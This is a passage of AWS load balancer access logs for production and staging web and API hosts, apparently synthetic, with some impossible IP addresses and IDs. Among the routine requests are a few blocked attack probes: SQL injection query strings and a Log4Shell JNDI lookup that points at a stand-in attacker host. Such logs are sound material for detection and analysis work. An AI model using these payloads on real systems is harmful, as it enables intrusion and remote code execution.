2024-11-01T02:17:07.342458Z "forward" "-" "-" "10.0.27.255:443" "200" "-" "-" +https 2024-11-01T02:17:09.301019Z prod-api-alb 56.184.230.19:12903 10.0.170.23:443 0.001408 0.202446 0.092802 200 200 114 1435 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7b5-6e650ccc09ff405dab632bed" "prod-api-alb.example.com" "-" 8 2024-11-01T02:17:09.301019Z "forward" "-" "-" "10.0.170.23:443" "200" "-" "-" +https 2024-11-01T02:17:10.712585Z staging-alb 15.162.126.41:26879 224.94.192.56:443 0.023105 0.648509 0.144190 200 200 170 8619 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7b6-5b27d220523e49b1b2aef0ed" "staging-alb.example.com" "-" 1 2024-11-01T02:17:10.712585Z "forward" "-" "-" "224.94.192.56:443" "200" "-" "-" +https 2024-11-01T02:17:11.018805Z prod-api-alb 249.183.195.130:11804 10.0.232.167:443 0.000793 0.163679 0.087626 200 200 431 14072 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7b7-4be5f12c91c94ce3acff6365" "prod-api-alb.example.com" "-" 5 2024-11-01T02:17:11.018805Z "forward" "-" "-" "10.0.232.167:443" "200" "-" "-" +https 2024-11-01T02:17:11.146083Z prod-web-alb 207.33.222.104:52473 10.0.20.244:443 0.047014 0.122694 0.043266 200 200 774 5183 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7b7-a12f54ef2b5541a89095dabb" "prod-web-alb.example.com" "-" 2 2024-11-01T02:17:11.146083Z "forward" "-" "-" "10.0.20.244:443" "200" "-" "-" +https 2024-11-01T02:17:13.118270Z prod-web-alb 36.162.95.63:63682 10.0.86.134:443 0.013465 0.496078 0.034920 302 302 261 4952 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7b9-2369e83f4b0f46e9baccbfbb" "prod-web-alb.example.com" "-" 10 2024-11-01T02:17:13.118270Z "forward" "-" "-" "10.0.86.134:443" "302" "-" "-" +https 2024-11-01T02:17:13.625050Z prod-web-alb 66.205.37.210:35524 10.0.40.183:443 0.000139 0.199011 0.099423 200 200 520 3029 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7b9-6c7ec9f5b1054306a4587a6a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:17:13.625050Z "forward" "-" "-" "10.0.40.183:443" "200" "-" "-" +https 2024-11-01T02:17:15.226929Z prod-web-alb 185.1.240.39:56659 10.0.222.141:443 0.003407 0.055190 0.020021 200 200 868 10924 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7bb-889844214f3c4c2ebf6fd8fc" "prod-web-alb.example.com" "-" 3 2024-11-01T02:17:15.226929Z "forward" "-" "-" "10.0.222.141:443" "200" "-" "-" +https 2024-11-01T02:17:15.754790Z prod-api-alb 74.108.156.29:20982 10.0.218.77:443 0.088038 0.457731 0.012263 200 200 31 337 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7bb-b22e4df9710b4e09843ed3fb" "prod-api-alb.example.com" "-" 0 2024-11-01T02:17:15.754790Z "forward" "-" "-" "10.0.218.77:443" "200" "-" "-" +https 2024-11-01T02:17:15.902811Z prod-api-alb 255.3.66.116:34342 10.0.189.61:443 0.056781 0.168476 0.064650 200 200 727 14197 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7bb-aa5663c98f444ce381fa2dd1" "prod-api-alb.example.com" "-" 3 2024-11-01T02:17:15.902811Z "forward" "-" "-" "10.0.189.61:443" "200" "-" "-" +https 2024-11-01T02:17:16.805394Z prod-web-alb 162.148.106.155:46378 10.0.244.205:443 0.067819 0.215582 0.007160 301 301 914 14136 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7bc-3aae70fa861e495d84ee21c4" "prod-web-alb.example.com" "-" 5 2024-11-01T02:17:16.805394Z "forward" "-" "-" "10.0.244.205:443" "301" "-" "-" +https 2024-11-01T02:17:18.151803Z prod-api-alb 190.122.106.179:20052 10.0.214.48:443 0.089547 0.022261 0.075879 200 200 44 13155 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7be-37229ecaed074d4dbd07bd60" "prod-api-alb.example.com" "-" 2 2024-11-01T02:17:18.151803Z "forward" "-" "-" "10.0.214.48:443" "200" "-" "-" +https 2024-11-01T02:17:19.533437Z prod-web-alb 213.118.253.104:28428 10.0.121.215:443 0.020861 0.264263 0.008584 301 301 378 14988 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7bf-aa1f8810d6394945929227d6" "prod-web-alb.example.com" "-" 9 2024-11-01T02:17:19.533437Z "forward" "-" "-" "10.0.121.215:443" "301" "-" "-" +https 2024-11-01T02:17:20.471367Z prod-web-alb 70.118.122.187:47437 10.0.28.225:443 0.051869 0.240848 0.079053 301 301 997 6299 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7c0-39c5f0f1fb4f45f99f327280" "prod-web-alb.example.com" "-" 0 2024-11-01T02:17:20.471367Z "forward" "-" "-" "10.0.28.225:443" "301" "-" "-" +http 2024-11-01T02:17:21.740362Z staging-alb 218.145.118.85:45285 174.192.253.211:443 0.141871 0.396338 0.024549 200 200 773 3502 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7c1-58b7638f3b0742db98214cfb" "-" "-" 5 2024-11-01T02:17:21.740362Z "forward" "-" "-" "174.192.253.211:443" "200" "-" "-" +https 2024-11-01T02:17:22.193314Z prod-api-alb 242.45.107.39:11231 10.0.29.16:443 0.012196 0.364923 0.041078 302 302 648 819 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7c2-2ab6b761368f4828b2d0bd3b" "-" "-" 4 2024-11-01T02:17:22.193314Z "forward" "-" "-" "10.0.29.16:443" "302" "-" "-" +https 2024-11-01T02:17:24.008805Z prod-api-alb 218.111.227.226:29488 10.0.162.215:443 0.000080 0.065679 0.014391 301 301 877 14370 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7c4-d4156ba46733459986ce8a13" "prod-api-alb.example.com" "-" 3 2024-11-01T02:17:24.008805Z "forward" "-" "-" "10.0.162.215:443" "301" "-" "-" +http 2024-11-01T02:17:25.346851Z staging-alb 117.206.237.136:41492 113.241.199.12:80 0.013209 0.015729 0.147997 301 301 788 7054 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c5-a7e8f4a192ed473789b77d0f" "staging-alb.example.com" "-" 2 2024-11-01T02:17:25.346851Z "forward" "-" "-" "113.241.199.12:80" "301" "-" "-" +http 2024-11-01T02:17:25.658466Z staging-alb 193.27.228.11:34600 25.13.79.141:443 0.018256 0.200072 0.091777 403 403 255 14313 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c5-66f530b87a8742debb42b50f" "-" "-" 10 2024-11-01T02:17:25.658466Z "forward" "-" "-" "25.13.79.141:443" "403" "-" "-" +http 2024-11-01T02:17:25.915328Z staging-alb 134.75.82.82:40200 78.69.169.238:8080 0.100291 0.242816 0.096070 301 301 41 10476 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c5-185ba730706b43f3b3b106fb" "staging-alb.example.com" "-" 4 2024-11-01T02:17:25.915328Z "forward" "-" "-" "78.69.169.238:8080" "301" "-" "-" +http 2024-11-01T02:17:27.387413Z staging-alb 70.73.201.171:20411 1.165.166.192:80 0.119154 0.347198 0.076994 200 200 815 7626 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c7-065087cc7dd84d9e803d88b6" "staging-alb.example.com" "-" 2 2024-11-01T02:17:27.387413Z "forward" "-" "-" "1.165.166.192:80" "200" "-" "-" +https 2024-11-01T02:17:28.782156Z staging-alb 245.244.82.98:51656 206.25.34.33:443 0.041526 0.297078 0.032322 404 404 632 8335 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7c8-f3ef038f7379402a8138c892" "staging-alb.example.com" "-" 7 2024-11-01T02:17:28.782156Z "forward" "-" "-" "206.25.34.33:443" "404" "-" "-" +https 2024-11-01T02:17:30.560006Z prod-api-alb 63.20.54.2:29742 10.0.125.222:443 0.019494 0.193743 0.043053 200 200 448 12671 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7ca-f09e1c41d8d041f68afaf45b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:17:30.560006Z "forward" "-" "-" "10.0.125.222:443" "200" "-" "-" +https 2024-11-01T02:17:31.798749Z prod-web-alb 234.53.112.81:30042 10.0.104.23:443 0.052256 0.249116 0.028391 200 200 90 2286 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7cb-bc7ff4fa85f04de691e1df6c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:17:31.798749Z "forward" "-" "-" "10.0.104.23:443" "200" "-" "-" +http 2024-11-01T02:17:32.954894Z staging-alb 109.65.155.232:59515 71.228.65.152:8080 0.062540 0.289321 0.116266 200 200 415 925 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7cc-303fed70f30c4008955bf219" "-" "-" 3 2024-11-01T02:17:32.954894Z "forward" "-" "-" "71.228.65.152:8080" "200" "-" "-" +https 2024-11-01T02:17:33.809185Z prod-api-alb 14.208.17.17:41153 10.0.238.174:443 0.073167 0.151444 0.092289 200 200 564 6602 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7cd-ad20cf90ee224d498393268a" "prod-api-alb.example.com" "-" 4 2024-11-01T02:17:33.809185Z "forward" "-" "-" "10.0.238.174:443" "200" "-" "-" +https 2024-11-01T02:17:35.347882Z prod-api-alb 227.132.245.240:24376 10.0.211.14:443 0.009594 0.254786 0.055587 200 200 809 10069 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7cf-c38dd74e7cc548f2940baccf" "prod-api-alb.example.com" "-" 4 2024-11-01T02:17:35.347882Z "forward" "-" "-" "10.0.211.14:443" "200" "-" "-" +https 2024-11-01T02:17:37.095867Z prod-api-alb 209.74.200.64:32360 10.0.87.33:443 0.055368 0.170148 0.018691 302 302 991 13780 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7d1-161613e6ef314cdcab69a42d" "-" "-" 8 2024-11-01T02:17:37.095867Z "forward" "-" "-" "10.0.87.33:443" "302" "-" "-" +https 2024-11-01T02:17:38.366236Z prod-api-alb 190.51.227.93:58100 10.0.193.205:443 0.052994 0.310694 0.025209 302 302 374 11439 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7d2-b8e8af20d1104a5b9925ee30" "prod-api-alb.example.com" "-" 2 2024-11-01T02:17:38.366236Z "forward" "-" "-" "10.0.193.205:443" "302" "-" "-" +https 2024-11-01T02:17:40.022016Z prod-web-alb 248.237.149.235:20831 10.0.7.159:443 0.005880 0.379726 0.030759 200 200 116 7397 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7d4-254397aba2e7418eb0c9ed68" "prod-web-alb.example.com" "-" 1 2024-11-01T02:17:40.022016Z "forward" "-" "-" "10.0.7.159:443" "200" "-" "-" +https 2024-11-01T02:17:41.276006Z staging-alb 109.250.51.153:34751 82.239.21.91:8080 0.059059 0.721925 0.057016 200 200 26 5040 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7d5-928b101f8a0445ef9153b4cd" "staging-alb.example.com" "-" 6 2024-11-01T02:17:41.276006Z "forward" "-" "-" "82.239.21.91:8080" "200" "-" "-" +https 2024-11-01T02:17:42.585841Z prod-web-alb 75.193.31.219:46807 10.0.203.104:443 0.037403 0.112669 0.071479 200 200 943 13022 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7d6-95b94639579c454081c85bff" "prod-web-alb.example.com" "-" 2 2024-11-01T02:17:42.585841Z "forward" "-" "-" "10.0.203.104:443" "200" "-" "-" +https 2024-11-01T02:17:43.891981Z prod-api-alb 112.50.249.36:53418 10.0.29.116:443 0.060500 0.289913 0.019312 200 200 672 3252 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7d7-2cb3bbcaa3c44b5cbf09e9ee" "prod-api-alb.example.com" "-" 5 2024-11-01T02:17:43.891981Z "forward" "-" "-" "10.0.29.116:443" "200" "-" "-" +https 2024-11-01T02:17:44.520591Z prod-api-alb 218.173.213.45:47849 10.0.174.86:443 0.026429 0.390913 0.059430 404 404 311 6793 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7d8-1a5e6f6467b34714818e2649" "prod-api-alb.example.com" "-" 1 2024-11-01T02:17:44.520591Z "forward" "-" "-" "10.0.174.86:443" "404" "-" "-" +https 2024-11-01T02:17:44.741214Z prod-api-alb 66.142.68.41:50588 10.0.123.171:443 0.053259 0.329102 0.068756 200 200 936 1069 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7d8-bab28abcd24a4b38bae4b339" "prod-api-alb.example.com" "-" 8 2024-11-01T02:17:44.741214Z "forward" "-" "-" "10.0.123.171:443" "200" "-" "-" +https 2024-11-01T02:17:45.998760Z prod-web-alb 200.126.9.159:61239 10.0.189.233:443 0.033294 0.032962 0.059903 200 200 819 3141 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7d9-56fdeda12d934ad895e366a7" "prod-web-alb.example.com" "-" 9 2024-11-01T02:17:45.998760Z "forward" "-" "-" "10.0.189.233:443" "200" "-" "-" +https 2024-11-01T02:17:47.201211Z prod-web-alb 32.71.117.236:32724 10.0.40.134:443 0.052307 0.224696 0.076830 200 200 199 12981 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7db-aeccd6f91199480fbac7cc3b" "prod-web-alb.example.com" "-" 9 2024-11-01T02:17:47.201211Z "forward" "-" "-" "10.0.40.134:443" "200" "-" "-" +https 2024-11-01T02:17:49.138355Z staging-alb 7.30.59.153:54332 2.239.68.14:80 0.138662 0.427408 0.119199 302 302 508 4229 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7dd-83747881da614f7098602285" "staging-alb.example.com" "-" 4 2024-11-01T02:17:49.138355Z "forward" "-" "-" "2.239.68.14:80" "302" "-" "-" +https 2024-11-01T02:17:50.705344Z prod-web-alb 193.27.228.135:47963 10.0.228.126:443 0.022638 0.133393 0.057112 403 403 770 5011 "GET /login?id=1'-- HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7de-c26b1ead09284f4cba805d06" "-" "-" 8 2024-11-01T02:17:50.705344Z "forward" "-" "-" "10.0.228.126:443" "403" "-" "-" +https 2024-11-01T02:17:51.048456Z prod-web-alb 252.242.53.11:29184 10.0.70.61:443 0.038695 0.173794 0.003008 302 302 632 1691 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7df-b4c9af1aa67e426c9fe720b9" "prod-web-alb.example.com" "-" 9 2024-11-01T02:17:51.048456Z "forward" "-" "-" "10.0.70.61:443" "302" "-" "-" +http 2024-11-01T02:17:51.623818Z staging-alb 111.67.237.164:60404 216.175.125.93:80 0.070078 0.007290 0.108793 200 200 597 12906 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7df-c49408df10a14eacb77c6fa0" "staging-alb.example.com" "-" 1 2024-11-01T02:17:51.623818Z "forward" "-" "-" "216.175.125.93:80" "200" "-" "-" +https 2024-11-01T02:17:53.295722Z prod-web-alb 170.172.177.225:45226 10.0.88.176:443 0.078270 0.192645 0.013232 200 200 313 13229 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7e1-adfd23069b6d49c28c538d8e" "prod-web-alb.example.com" "-" 4 2024-11-01T02:17:53.295722Z "forward" "-" "-" "10.0.88.176:443" "200" "-" "-" +https 2024-11-01T02:17:54.982329Z prod-web-alb 20.102.144.134:33891 10.0.126.136:443 0.090180 0.080505 0.030755 301 301 952 1899 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7e2-d12c27c9cfb14c9e9953c680" "prod-web-alb.example.com" "-" 3 2024-11-01T02:17:54.982329Z "forward" "-" "-" "10.0.126.136:443" "301" "-" "-" +https 2024-11-01T02:17:56.124925Z prod-api-alb 24.254.12.30:54903 10.0.91.96:443 0.059155 0.320276 0.035792 404 404 61 12329 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7e4-6449c3f6c40543e6a7f4d31f" "prod-api-alb.example.com" "-" 1 2024-11-01T02:17:56.124925Z "forward" "-" "-" "10.0.91.96:443" "404" "-" "-" +https 2024-11-01T02:17:56.942791Z prod-web-alb 45.155.205.243:26424 10.0.224.62:443 0.088730 0.188759 0.055951 404 404 39 8697 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7e4-aeb3983d04d2421d86751888" "-" "-" 8 2024-11-01T02:17:56.942791Z "forward" "-" "-" "10.0.224.62:443" "404" "-" "-" +https 2024-11-01T02:17:57.677673Z prod-web-alb 6.185.141.191:57834 10.0.99.88:443 0.045432 0.411169 0.042704 200 200 820 10246 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7e5-7e617e0e079d4b9898c276c8" "prod-web-alb.example.com" "-" 6 2024-11-01T02:17:57.677673Z "forward" "-" "-" "10.0.99.88:443" "200" "-" "-" +https 2024-11-01T02:17:59.499028Z prod-web-alb 229.208.140.147:29587 10.0.58.212:443 0.058327 0.244807 0.079841 200 200 433 13165 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7e7-65d67c4ea6154e36afdfeab5" "prod-web-alb.example.com" "-" 6 2024-11-01T02:17:59.499028Z "forward" "-" "-" "10.0.58.212:443" "200" "-" "-" +https 2024-11-01T02:18:00.399372Z prod-web-alb 20.98.33.81:24225 10.0.126.16:443 0.028999 0.499982 0.063142 200 200 149 10890 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7e8-16ad22fe9889458dba2a848f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:18:00.399372Z "forward" "-" "-" "10.0.126.16:443" "200" "-" "-" +https 2024-11-01T02:18:01.724384Z prod-api-alb 62.147.37.153:33103 10.0.126.63:443 0.053920 0.222530 0.026129 